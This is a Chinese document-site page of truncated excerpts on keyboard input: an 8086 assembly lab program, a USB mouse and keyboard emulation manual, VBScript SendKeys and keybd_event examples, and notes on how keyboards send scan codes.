2.2单片机的基本机构........................................................................................................ - 4 - 2.3键盘接口电路................................................................................................................ - 5 - 2.4消除抖动........................................................................................................................ - 6 - 3 详细设计.................................................................................................................................. - 7 - 3.1程序流程设计............................................................................................................... - 7 - 3.2硬件电路设计............................................................................................................... - 8 - 4 总结 ......................................................................................................................................... - 9 -参考文献.................................................................................................................................... - 10 -附录 ........................................................................................................................................... - 11 -

微机原理实验六 从键盘输入数据并显示

实验六从键盘输入数据并显示 1要求: 编写程序,将键盘接收到的四位十六进制数转换为等值的二进制数,并显示在屏幕上。若输入的不是0—F间的数字,则显示出错 信息,并要求重新输入。 2目的: 掌握接收键盘数据的方法,并了解将键盘数据显示时须转换为ASCII码的原理。

实验程序 CRLF MACRO MOV AH,02H MOV DL,0DH INT 21H MOV AH,02H MOV DL,0AH INT 21H ENDM DATA SEGMENT MARK DB? MESS DB'please input the number(H),press inter,ture into number(B).press space end.',0DH,0AH,'$'

ERROR DB 0DH,0AH, 'input error',0DH,0AH,'$' DATA ENDS STACK SEGMENT STA DW32 DUP(?) TOP DW? STACK ENDS CODE SEGMENT ASSUME CS:CODE,DS:DATA,ES:DATA,SS:STACK START: MOV AX,DATA MOV DS,AX MOV ES,AX MOV SP,TOP HEAD: CRLF MOV MARK,0 MOV AH,09H LEA DX,MESS INT 21H ;显示提示输入的信息 CALL GETNUM ;接收键入数值送DX CMP MARK,01H JE HEAD MOV CX,0010H ;16位 MOV BX,DX

TTT: ROL BX,1 ;循环左移1位 MOV DL,BL AND DL,01H ;屏蔽掉高7位 ADD DL,30H MOV AH,02H INT 21H ;显示二进制位对应的ASCII字符 LOOP TTT JMP HEAD FINI: MOV AX,4C00H INT 21H ;返回DOS GETNUM PROC NEAR ;子程序,接收键入数值送DX PUSH CX XOR DX,DX GGG: MOV AH,01H INT 21H CMP AL,0DH ;输入为回车,则进行转换 JE PPP CMP AL,20H ;输入为空格,则退回DOS JE FINI CMP AL,30H JB KKK SUB AL,30H

USB模拟鼠标与键盘使用说明

第一章使用说明 1.1 功能简介 本例程是用实验板来模拟鼠标或键盘,即将相关程序下载到单片机,并将学习板与电脑通过U口连接后,本学习板可以当作U口的鼠标或者键盘来用。 其中能够模拟实现的鼠标功能为:鼠标左移、右移、上移、下移,鼠标左键按下和右键按下。 能够模拟实现的键盘功能为:数字1和2的键入、SHIFT和ALT功能键的键入、大小写切换和小键盘数字键功能的键入。 本例程共用到学习板上的六个按键,位于矩阵键盘左上角的S6、S7、S10、S11、S14和S15。 1.2鼠标的信息说明 将UsbMouse.hex文件下载到单片机中,且之后保证USB1口(位于学习板左上方)与电脑的U口处于连接状态(USB1口即为TX-1C开发板的U口)。 稍等片刻,便会先后在电脑屏幕的右下角出现下面两个提示(此提示只在第一次安装时出现): 图1.1 系统发现新硬件提示 图1.2安装成功提示 右键单击“我的电脑”,选中“管理”项,点击并进入,在其左侧的项目栏里点击“设备管理器”,便会发现其中多了如下一个设备,也就是我们的TX-1C开发板所模拟的鼠标,如图1.3所示。

图1.3 设备描述显示 双击“USB人体学输入设备”,会弹出如图1.4和图1.5的属性描述 图1.4 属性描述---常规选项卡

图1.5 属性描述---详细信息选项卡 1.3 鼠标的使用说明 在使用USB模拟鼠标与键盘功能之前,请确保将芯片PDIUSBD12左侧的两根插针用跳帽连接起来(这两根跳帽是用于芯片PDIUSBD12向单片机发出中断的连接线)!!! 总共使用到的矩阵键盘中的六个按键的功能分别如表1.1所示 据此, 面上实验一下,体会自制鼠标的乐趣。 1.4 键盘的相关说明 将文件夹“键盘实例”中的UsbKeyboard.hex文件下载到单片机中,并通过USB 线将TX-1C学习板与电脑U口连接后,同样会出现如图1.1.、图1.2类似的安装信息(也是在第一次安装时提示,以后都不再提示,除非更改程序中的相关设备描述信息,让电脑以为是一个以前从未连接过的设备连接了。)同样的打开设备管理器,也可以找到如图1.3、图1.4、图1.5类似的信息。在此就不再赘述了。下面列出相关按键的功能,如表1.2所示。

8x8点阵LED显示键盘输入字母A~F

课程设计报告 课程设计名称:微机原理与接口技术系别:三系 学生姓名:缪广东 班级:10计本(1) 学号:20100303130 成绩: 指导教师:巫宗宾 开课时间:2012—2013 学年 1 学期

一.设计题目 LED显示系统设计 二.主要内容 课程设计是培养和锻炼学生在学习完本门课后综合应用所学理论知识,解决实际工程设计和应用问题的能力的重要教学环节。它具有动手、动脑和理论联系实际的特点,是培养在校工科大学生理论联系实际、敢于动手、善于动手和独立自主解决设计实践中遇到的各种问题能力的一个重要教学环节。 通过课程设计,要求学生熟悉和掌握微机系统的软件、硬件设计的方法、设计步骤,使学生得到微机开发应用方面的初步训练。让学生独立或集体讨论设计题目的总体设计方案、编程、软件硬件调试、编写设计报告等问题,真正做到理论联系实际,提高动手能力和分析问题、解决问题的能力,实现由学习知识到应用知识的初步过渡。通过本次课程设计使学生熟练掌握微机系统与接口扩展电路的设计方法,熟练应用8086汇编语言编写应用程序和实际设计中的硬软件调试方法和步骤,熟悉微机系统的硬软件开发工具的使用方法。 通过课程设计实践,不仅要培养学生事实求是和严肃认真的工作态度,培养学生的实际动手能力,检验学生对本门课学习的情况,更要培养学生在实际的工程设计中查阅资料,撰写设计报告表达设计思想和结果的能力。 在课程设计时,1人一组,设计报告由学生独立完成,不得互相抄袭。教师的主导作用主要在于指明设计思路,启发学生独立设计的思路,解答疑难问题和按设计进度进行阶段审查。学生必须发挥自身学习的主动性和能动性,主动思考问题、分析问题和解决问题,而不应处处被动地依赖指导老师。 学生在设计中可以引用所需的参考资料,避免重复工作,加快设计进程,但必须和题目的要求相符合,保证设计的正确。学生学会掌握和使用各种已有的技术资料,不能盲目地、机械地抄袭资料,必须具体分析,使设计质量和设计能力都获得提高。学生要在老师的指导下制定好自己各环节的详细设计进程计划,按给定的时间计划保质保量的完成个阶段的设计任务。设计中可边设计,边修改,软件设计与硬件设计可交替进行,问题答疑与调试和方案修改相结合,提高设计的效率,保证按时完成设计工作并交出合格的设计报告。

VBS模拟键盘输入

脚本实现自动按键盘的某个键过程是: 按下F5 间隔50毫秒 松开F5 间隔3000毫秒 按下F5 间隔50毫秒 松开F5 回到第一步 批处理是不行的用VBS 很简单例子如下 Set objShell = CreateObject("Wscript.Shell") do WScript.Sleep 3000 objShell.SendKeys "{F5}" WScript.Sleep 3000 objShell.SendKeys "{F5}" loop 使用 SendKeys 方法可以将键击发送到无自动化界面的应用程序中。多数键盘字符都可用一个键击表示。某些键盘字符由多个键击组合而成(例如,CTRL+SHIFT+HOME)。要发送单个键盘字符,请将字符本身作为 string 参数发送。例如,要发送字母 x,则请发送 string 参数 "x"。 可使用 SendKeys 同时发送多个键击。为此,可将每个键击按顺序排列在一起,以此来创建表示一系列键击的复合字符串参数。例如,要发送键击 a、b 和 c,则需要发送字符串参数 "abc" 。SendKeys 方法将某些字符用作字符的修饰符(而不使用其本身的含义)。这组特殊的字符可包括圆括号、中括号、大括号,以及: 加号"+" 插入记号"^" 百分号"%" 和“非”符号"~" 用大括号 "{}" 括起这些字符可以发送它们。例如,要发送加号,请使用字符串参数 "{+}"。SendKeys中使用的中括号 "[ ]" 无任何特殊含义,但是必须把它们括在大括号中,以便容纳确实要赋予其特殊含义的应用程序(例如,对于动态数据交换(DDE) 就是这样)。 要发送左中括号字符,请发送字符串参数 "{[}";要发送右中括号字符,请发送字符串参数 "{]}"。 要发送左大括号字符,请发送字符串参数 "{{}";要发送右大括号字符,请发送字符串参数 "{}}"。 某些键击不生成字符(如 ENTER 和 TAB)。某些键击表示操作(如 BACKSPACE 和 BREAK)。要发送这些类型的键击,请发送下表中列出的参数:

PC键盘输入及显示过程

PC键盘输入及显示过程原理 摘要:键盘是最常用也是最主要的输入设备,通过键盘可以将英文字母、数字、标点 符号等输入到计算机中,从而向计算机发出命令、输入数据等。而显示器也可以将通过键盘输入的字符、数据等显示出来。在此报告中我们将讨论计算机识别键盘输入的信息并通过显示器来显示信息的过程。 关键词:键盘;输入;显示 从计算机识别键盘输入的原理来说,键盘分为全编码键盘和非编码键盘两类。全编码键盘是由硬件完成键盘识别功能的,它通过识别键是否按下以及所按下键的位置,由全编码电路产生一个唯一对应的编码信息(如ASCII码)。由于其线路和编码的唯一性,这种键盘是不存在键位冲突的问题的,但是编码键盘结构复杂,成本非常之高现在基本上已经被淘汰了,现在多用非编码键盘。 一、非编码键盘的输入原理 非编码键盘是由软件完成键盘识别功能的,它利用简单的硬件和一套专用键盘编码程序来识别按键的位置,然后由CPU将位置码通过查表程序转换成相应的编码信息。 PC键盘主要由单片机、译码器和键开关矩阵三大部分组成。由于键盘排列成矩阵格式,被按键的识别和行列位置扫描码的产生,是由键盘内部的单片机通过译码器来实现的。单片机在周期性扫描行、列的同时,读回扫描信号线结果,判断是否有键按下,并计算按键的位置以获得扫描码。当有键按下时,键盘分两次将位置扫描码发送到键盘接口;按下一次,叫接通扫描码;释放时再发一次,叫断开扫描码。因此可以用硬件或软件的方法对键盘的行、列分别进行扫视,去查找按下的键,输出扫描位置码,通过查表转换为ASCII码返回。

现在常用的薄膜接触式键盘就是非编码键盘,它任何一个按键都有上下两层薄膜的触点,在任何一层薄膜上的导线数都少于按键数,每一条导线都同时连通多个按键的触点,上层和下层的任何两条导线都最多只在一个按键上重合。也就 是说,上层的1号导线可能会同时经过1、2、3、4、5……等按键,而下层的1号导线可能同时经过1、Q、A、Z……等按键,且两条导线只在1键上重合。 根据上层薄膜和下层薄膜所经过的按键,就可以排出一个类似下面的表格:薄膜接触式键盘的接口控制电路中,就存储着这样一张表格,当按下某个按键,例如“Q”时,那么在这一点上,上下两个触点就会连通,反映到接口电路中,就会检测到上层导线1与下层导线2被连通了。相对应在表中一查,就会知道,被按下的是字母“Q”,然后通过接口输出其ASCII码。 二、键盘设备发送数据到主机的过程 数据和时钟线都是集电极开路的。在+5V 和每根线之间连接着一个电阻,所以总线的空闲状态是高电平。当键盘或者鼠标想发送数据时,它首先必须检查时钟线,确认它处于高电平。如果不是,主机禁止通信,设备必须缓冲任何要发送 的数据,直到主机释放时钟。在设备开始传输数据之前,时钟线必须持续为高电平的时间必须至50ms。当时钟为高电平时,键盘/鼠标写一个bit到数据线上;当时钟为低电平时,主机从数据线上读取这个bit 。当时钟位高时,数据线改变状态;当时钟位低时,数据线上的数据是有效的。时钟频率是10-16.7KHz。从时钟脉冲的上升沿到数据跳变的时间必须至少5ms。从数据跳变到时钟脉冲的

键盘虚拟键值编码表 使用keybd

键盘虚拟键值编码表使用keybd_Event 也是在cnblogs上找的,怕到时忘了,先记下来 原文章:https://www.360docs.net/doc/2b718241.html,/nemolog/archive/2005/10/30/265035.ht ml 模拟键盘输入首先要用到一个API函数:keybd_event。 我们是菜鸟,所以不必具体去理解它的详细用法,只要按以下方法使用即可了!呵呵! 模拟按键有两个基本动作,即按下键和放开按键,所以我们每模拟一次按键就要调用两次该API函数,其方法是: 例子1:模拟按下'A'键 keybd_event(65,0,0,0); keybd_event(65,0,KEYEVENTF_KEYUP,0); 例子2:模拟按下'ALT+F4'键 keybd_event(18,0,0,0); keybd_event(115,0,0,0); keybd_event(115,0,KEYEVENTF_KEYUP,0); keybd_event(18,0,KEYEVENTF_KEYUP,0); 例子3:在启动一个程序之前清空屏幕(按Win +D) [DllImport("User32.dll")] public static extern void keybd_event(Byte bVk, Byte bScan, Int32 dwFlags, Int32 dwEx traInfo); keybd_event(0x5b, 0, 0, 0); keybd_event(68, 0, 0, 0); keybd_event(0x5b, 0, 0x2, 0); keybd_event(68, 0, 0x2, 0); 附:常用模拟键的键值对照表。 键盘键与虚拟键码对照表

相关文档
最新文档